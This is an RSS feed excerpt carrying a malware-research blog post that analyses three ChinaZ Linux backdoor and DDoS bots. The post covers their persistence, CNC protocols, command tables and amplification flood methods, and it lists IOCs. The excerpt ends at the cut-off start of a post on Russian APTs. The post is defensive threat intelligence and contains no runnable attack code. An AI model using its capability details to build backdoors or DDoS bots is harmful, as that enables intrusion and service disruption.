&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>ChinaZ Updates Toolkit by Introducing New, Undetected Malware</title><link>https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/</link><pubDate>Fri, 13 Dec 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;ChinaZ is a Chinese cybercrime group and the author of several
&lt;a href="https://www.botconf.eu/wp-content/uploads/2014/12/2014-2.10-Chinese-Chicken-Multiplatform-DDoS-Botnets.pdf"target="_blank" rel="noopener"&gt;DDoS malware&lt;/a&gt;.
We have profiled this group in a
&lt;a href="../../../2019/01/chinaz-relations"&gt;previous article&lt;/a&gt; discussing connections
between ChinaZ and other Chinese threat actors.&lt;/p&gt;
&lt;p&gt;Recently, we have discovered new tools being utilized by ChinaZ which have low
detection rates in comparison to the group’s other, more common malware.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig1.jpeg" title="VirusTotal detection rate of one of the discovered samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal detection rate of one of the discovered samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Some of the components reported in this article have been present in the wild
for at least one year, which implies the active state of this group. We have
based this conclusion upon seeing that the first submission was made to
VirusTotal one year ago:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig2.jpeg" title="VirusTotal analysis of an older, related sample" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal analysis of an older, related sample&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We believe this may be an attempt by ChinaZ to retool its current toolset,
using new malware with low detection rates to accomplish its operations, since
the group has received more attention from the infosec community in recent
years.&lt;/p&gt;
&lt;p&gt;The new malware samples seem to implement a combination of backdoor and DDoS
bot capabilities to mainly target Linux servers. However, we do not discount
the possibility that Windows variants may exist, since this is a recurrent
pattern we have observed from ChinaZ malware in the past.&lt;/p&gt;
&lt;p&gt;In addition, we were able to retrieve a CNC binary from one of the samples,
which has enabled us to learn more about the network protocol along with some
of the malware’s capabilities.&lt;/p&gt;
&lt;p&gt;In this post, we will present the technical findings of those tools, including
a technical analysis of the files and network protocols.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We’ve received several hits of suspicious files from VirusTotal Intelligence
that communicated with given subdomains under the domain l11l1.com. All of the
identified subdomains were hosting several HttpFileServer panels, web servers
specifically designed for publishing and sharing files. ChinaZ is known to have
used these types of panels in the past.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig3.jpeg" title="HttpFileServer panel of one of the identified servers" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;HttpFileServer panel of one of the identified servers&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Based on VirusTotal passive DNS records, it appears that some Windows malware
samples were also hosted on some of these subdomains:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig4.jpeg" title="VirusTotal Intelligence graph from one of the discovered samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal Intelligence graph from one of the discovered samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After analyzing some of the Windows binaries we observed that based on code
reuse analysis, the majority of these files seem to be variants of Gh0st or
ServStart, modified Chinese RATs with DDoS capabilities known to be leveraged
by ChinaZ in the past.&lt;/p&gt;
&lt;p&gt;These
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=chinaz-updates-toolkit-by-introducing-new-undetected-malware&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/files/167c1036befcbd69c83666fd8125209aed5dd89be1068d0bb2ed1974fa6faf27"target="_blank" rel="noopener"&gt;samples&lt;/a&gt;
are also infected by common PE file infectors such as Sality, Parite, and
Virut. ChinaZ has a reputation for deploying infected malware compromised with
these aforementioned file infectors:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig5.jpeg" title="Sality genes from one of the hosted Windows malware samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Sality genes from one of the hosted Windows malware samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As seen in the screenshot above, a Gh0st RAT instance deployed by ChinaZ
contains code from Sality. This implies that the subject Gh0st RAT is infected
with Sality. We documented this same pattern in our
&lt;a href="../../../2019/01/chinaz-relations"&gt;previous article&lt;/a&gt; on the subject matter.
This finding may imply that these new malware samples may be operating from the
same servers as other malware under the ChinaZ umbrella.&lt;/p&gt;
&lt;p&gt;Furthermore, when we analyze the newly discovered samples using Genetic Malware
Analysis, we observed that they all share the same ratio of genes across
several malware families related to ChinaZ threat actors.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig6.jpeg" title="Malware Analysis across samples under the ChinaZ umbrella" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Malware Analysis across samples under the ChinaZ umbrella&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After analyzing these connections we observed that they all have been
statically compiled with specific versions of some C++ libraries.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig7.jpeg" title="C&amp;#43;&amp;#43; function similarities between one of the identified samples and a XorDDoS instance" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;C&amp;#43;&amp;#43; function similarities between one of the identified samples and a XorDDoS instance&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;These code similarities are from C++ statically linked library code, which at
first glance are often considered non-attributive. However, based on the high
number of code connections between hundreds of other malware samples related to
ChinaZ, we can interpret them as if the authors of these newly discovered
samples will be using the same compiler version or toolchain to generate their
implants as the one used by a large number of ChinaZ threat actors.&lt;/p&gt;
&lt;p&gt;Among the different identified samples we were able to classify three variants
with different functionalities. Each of these variants were found hosted
together and often sharing the same CNC server. The following section includes
an analysis of each of the new implants we discovered.&lt;/p&gt;
&lt;h3&gt;NewManager&lt;span class="hx:absolute hx:-mt-20" id="newmanager"&gt;&lt;/span&gt;
&lt;a href="#newmanager" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;NewManager is a minimalistic backdoor with arbitrary command execution and file
upload capabilities. The functionality of the backdoor is fairly simple in
logic. NewManager is intended to be executed as root, therefore we can assume
the backdoor is used as a stager when a given target is compromised.&lt;/p&gt;
&lt;p&gt;The backdoor will daemonize itself and set persistence mechanisms. These
persistence mechanisms are primarily based on setting symbolic links to
specific directories in which the presence of those symbolic links implies file
execution on boot time. These mechanisms are predominant among all discovered
samples.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig8.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We have observed that across the discovered implants the name of the persistent
binary will be set differently. The name used to label NewManager was &amp;rsquo;new
manager&amp;rsquo;, therefore its name:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig9.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware will then execute a series of functions that will initialize the
communication with the CNC to start receiving commands.&lt;/p&gt;
&lt;p&gt;The client will collect interface information from &lt;code&gt;/proc/net/dev&lt;/code&gt; and cpu
information from &lt;code&gt;/proc/stat&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig10.jpeg" title="Functions executed prior to CNC command handling" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Functions executed prior to CNC command handling&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This collected information serves to inform the operator of the network
interface and cpu performance of the compromised machine.&lt;/p&gt;
&lt;p&gt;After this information is collected, the client will craft the beaconing packet
that will be sent periodically to send interface and cpu statistics to the CNC.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig11.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After analyzing the network protocol we observed that packets are crafted in a
similar manner, although they will differ depending on the payload based on the
command type sent. In order to show the packet&amp;rsquo;s structure, the following
diagram shows the beaconing packet:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig12.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After this specific information is configured to be sent in intervals to the
CNC, the backdoor will send its own handshake packet.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig13.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This packet transfers the kernel version to the backdoor operator. Once this
command is sent, the operator will be able to see the compromised machine on
its panel:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig14.jpeg" title="NewManager CNC panel" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;NewManager CNC panel&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;NewManager supports three commands. They are the following:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Specification&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Execute command&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x11000011&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Executes an arbitrary bash command&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Create file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x11000002&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Creates a file on an arbitrary path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Read file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x11000003&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reads a file on an arbitrary path&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The command ID after packet parsing is fairly straightforward on the backdoor’s
side.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig15.jpeg" title="Command selection implementation in NewManager" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Command selection implementation in NewManager&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;AmpManager&lt;span class="hx:absolute hx:-mt-20" id="ampmanager"&gt;&lt;/span&gt;
&lt;a href="#ampmanager" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The second piece of malware we were able to analyze is AmpManager.&lt;/p&gt;
&lt;p&gt;The reason we named this malware AmpManager is due to its resemblance to
NewManager, however, it appears that the spectrum of supported commands is
wider, implementing more functionalities along with a range of DDoS attack
methodologies.&lt;/p&gt;
&lt;p&gt;Although AmpManager and NewManager share most of their code base and CNC
communication protocol, there are more commands implemented in AmpManager and
some command IDs do not match with the command IDs implemented by NewManager.&lt;/p&gt;
&lt;p&gt;For that reason—although we see a high volume of code reuse—we consider
AmpManager to be a different malware, although it’s clear that NewManager is
AmpManager’s predecessor.&lt;/p&gt;
&lt;p&gt;The name AmpManager chooses to persist in a given system is shown below:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig16.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The following is an overview of the command implementation code:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig17.jpeg" title="Command selection implementation in AmpManager" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Command selection implementation in AmpManager&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As we can see, the command implementation code is broader than the one
NewManager implements. One of the main differences between AmpManager and
NewManager is AmpManager introduces DDoS attacks among other features.&lt;/p&gt;
&lt;p&gt;There are three different DDoS attack methodologies implemented: SSDP, DNS, and
NTP amplifications.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig18.jpeg" title="SSDP flood UDP header" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;SSDP flood UDP header&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;These floods have some configurations set under the &lt;code&gt;/etc/&lt;/code&gt; directory that will
impact the number of iterations that each flood will run for.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig19.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The following table shows the supported commands implemented in AmpManager:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Specification&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;NTP amplification&lt;/td&gt;
&lt;td&gt;0x11000002&lt;/td&gt;
&lt;td&gt;Executes a NTP amplification flood against a target IP address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Send flood configurations&lt;/td&gt;
&lt;td&gt;0x11000003&lt;/td&gt;
&lt;td&gt;Send the established configurations for each flood to the CNC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSDP amplification&lt;/td&gt;
&lt;td&gt;0x11000006&lt;/td&gt;
&lt;td&gt;Executes a SSDP amplification flood against a target IP address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;All amplifications&lt;/td&gt;
&lt;td&gt;0x11000007&lt;/td&gt;
&lt;td&gt;Executes all implemented amplification floods against a target IP address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DNS amplification&lt;/td&gt;
&lt;td&gt;0x11000008&lt;/td&gt;
&lt;td&gt;Executes a DNS amplification flood against a target IP address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Download HTTP&lt;/td&gt;
&lt;td&gt;0x11000009&lt;/td&gt;
&lt;td&gt;Downloads a given file to a target path via HTTP GET&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execute command&lt;/td&gt;
&lt;td&gt;0x11000011&lt;/td&gt;
&lt;td&gt;Executes a target bash command in the target machine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Update current time&lt;/td&gt;
&lt;td&gt;0x11000012&lt;/td&gt;
&lt;td&gt;Saves the time via gettimeofday&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Apply flood configurations&lt;/td&gt;
&lt;td&gt;0x11000023&lt;/td&gt;
&lt;td&gt;Applies flood configurations for each respective DDoS methodology&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;DDoSManager&lt;span class="hx:absolute hx:-mt-20" id="ddosmanager"&gt;&lt;/span&gt;
&lt;a href="#ddosmanager" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In contrast to the two previously reported malware samples, DDoSManager seems
to be based on a completely different code base and network protocol.&lt;/p&gt;
&lt;p&gt;Although its overall functionality is similar to AmpManager due to the fact
that it’s also a DDoS bot, uses the same persistence mechanisms and overall
preliminary functionality before CNC communication, it’s important to highlight
that DDoSManager uses different DDoS attack methodologies than AmpManager.&lt;/p&gt;
&lt;p&gt;In addition, we noticed that this sample contains known Elknot/BillGates
artifacts, which are some of the most popular malware families leveraged by
ChinaZ.&lt;/p&gt;
&lt;p&gt;The following is a small write up from a
&lt;a href="https://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf"target="_blank" rel="noopener"&gt;report by Novetta&lt;/a&gt;
covering in detail the internals of BillGates malware.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig20.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;If we take a closer look, we can see that these two C++ classes are also used
in DDoSManager:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig21.jpeg" alt="" loading="lazy" /&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig22.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This reinforces the connection between these malware samples and the developers
of Elknot/BillGates, and with respect to the ChinaZ umbrella, in addition to
the connections explained previously.&lt;/p&gt;
&lt;p&gt;As is the case with the previous samples, DDoSManager commences by setting
persistence mechanisms. The techniques applied are the same ones covered in
NewManager and AmpManager as previously mentioned. DDoSManager will use the
name SingTool to masquerade itself:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig23.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Interface and performance information will be collected as with the previous
samples. However, an additional thread will be launched.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig24.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This thread is in charge of listening for packets to then decode and parse them
for CNC communication.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig25.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;When we intercepted the network traffic we noticed that the traffic was
encoded:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig26.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After analysis we observed that packets were encoded and decoded with a simple
sub/xor algorithm. This algorithm is the following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig27.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After applying this algorithm to each given packet, we can retrieve their plain
text version. The following is the structure of each packet after decoding:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig28.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Furthermore, the command ID will be extracted from each packet in order to
execute the desired task.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig29.jpeg" title="Command selection implementation in DDoSManager" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Command selection implementation in DDoSManager&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;DDoSManager supports a total of seven commands. These are the following:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Specification&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Read configuration&lt;/td&gt;
&lt;td&gt;0x64&lt;/td&gt;
&lt;td&gt;Configuration is retrieved to the&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CNC Write configuration entry&lt;/td&gt;
&lt;td&gt;0x65&lt;/td&gt;
&lt;td&gt;Entry is added to the configuration file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HeartBeat&lt;/td&gt;
&lt;td&gt;0x66&lt;/td&gt;
&lt;td&gt;Beaconing command&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Not implemented&lt;/td&gt;
&lt;td&gt;0x67&lt;/td&gt;
&lt;td&gt;Not implemented&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execute Manager Function&lt;/td&gt;
&lt;td&gt;0x68&lt;/td&gt;
&lt;td&gt;Invoke internal manager function&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stop command&lt;/td&gt;
&lt;td&gt;0x69&lt;/td&gt;
&lt;td&gt;Stop an ongoing command&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execute DDoS attack&lt;/td&gt;
&lt;td&gt;0x6a, 0x6b, 0x6c&lt;/td&gt;
&lt;td&gt;Execute a DDoS flood on a target IP address&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The malware sets a configuration file for the targets it will attempt to DDoS.
This configuration file is located at /tmp/Cfg.9:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig30.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;When a DDoS command is executed, a series of fields will be provided from the
CNC packet in order to execute the command. These fields are clearly shown on a
debug message in the binary:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig31.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;There are three different DDoS amplification algorithms supported. These are
SYN, UDP, and DNS amplifications. Interestingly, in the analyzed samples of
DDoSManager we found that the DNS amplification algorithm was not implemented.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig32.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We have analyzed three new malware variants in which we have named NewManager,
AmpManager, and DDoSManager.&lt;/p&gt;
&lt;p&gt;These three variants were found to be hosted together, sharing the same CNC
address, and are nearly identical in terms of overall preliminary
functionality.&lt;/p&gt;
&lt;p&gt;Some of the servers where the malware is hosted are also serving Windows DDoS
bots based on modified versions of Chinese RATs such as Gh0st and ServStart. It
is well-known that ChinaZ has utilized these malware families in previous
campaigns.&lt;/p&gt;
&lt;p&gt;In addition, we presented evidence that the Windows implants were infected with
common PE file infectors, also resembling a known pattern of ChinaZ Windows
malware samples seen in the past.&lt;/p&gt;
&lt;p&gt;Furthermore, we highlighted the use of a common compiler/toolchain used to
generate the discovered binaries which seems to be shared across a high number
of samples belonging to the ChinaZ umbrella. We also found artifact
similarities between the BillGates malware and DDoSManager, specifically the
name of two core C++ classes used by the malware.&lt;/p&gt;
&lt;p&gt;A technical analysis of the overall functionality and network protocol for each
of the discovered samples was provided explaining their main features and
capabilities.&lt;/p&gt;
&lt;p&gt;We believe these findings indicate the need by some ChinaZ threat actors to
update their malware toolsets, since they have not conducted a major retooling
process in years, and the majority of the older malware utilized by this group
is largely detected by Anti-Virus engines.&lt;/p&gt;
&lt;p&gt;The code from these samples are now indexed in Intezer Analyze so users can
detect and classify NewManager, AmpManager, DDoSManager, and other threats that
share code with these malware. We have also generated a
&lt;a href="https://github.com/intezer/yara-rules/blob/master/ChinaZ_Managers.yar"target="_blank" rel="noopener"&gt;YARA rule&lt;/a&gt;
which can be used by organizations to hunt for additional samples of these
threats.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;syn.l11l1[.]com
ccyk.l11l1[.]com
yk.l11l1[.]com
fd.l11l1[.]com
1bfa8af4b51d9fc54d4baa49df27116f44ce269da9123625c1f2ba17289ea2cd
625c57c7090e63472f2bd4d12bf5c821ac821327ee4274a728846fa0bb967b00
F0a2b4c223d6c0c537d9e75b38a2d9b4031485bcfc0c03da96a2b49d7f91591e
B79af4e394cbc8c19fc9b5410fa69b10325fd23f58bec330954caae135239a1f
Dda419d145d4ec7f0eec74ee6cf14ab0b35f22a1af7f39ffbe914c66c445bdf5
3be01b2b27a2cb7b7a852c6305f7a26f35d60fa80ab0050643d97486feaf09dd
33d44642d47488ca0e9fba1935944433e618ec212c5a24969aed406e7b50c611
E3e979d00006fb102279f1033d02bfb8d2ceb6b92c1377195ccb8daa36093c8b
4f5cfb805feb7576e594f1bb3b773ba0ca80e09e49bfb7e3507f815f774ac62d
8ad95b128ab477cc80cba9e4ddccc9d74d423415c17d2837d537c406e6ac81cd&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Mapping the Connections Inside Russia’s APT Ecosystem</title><link>https://research.intezer.com/blog/2019/09/russian-apt-ecosystem/</link><pubDate>Tue, 24 Sep 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/09/russian-apt-ecosystem/</guid><description>
&lt;p&gt;&lt;em&gt;This research is a joint effort conducted by Omri Ben-Bassat from Intezer and
Itay Cohen from Check Point Research.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Prologue пролог&lt;span class="hx:absolute hx:-mt-20" id="prologue-пролог"&gt;&lt;/span&gt;
&lt;a href="#prologue-%d0%bf%d1%80%d0%be%d0%bb%d0%be%d0%b3" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;If the names Turla, Sofacy, and APT29 strike fear into your heart, you are not
alone. These are known to be some of the most advanced, sophisticated and
notorious APT groups out there, and not in vain. These Russian-attributed
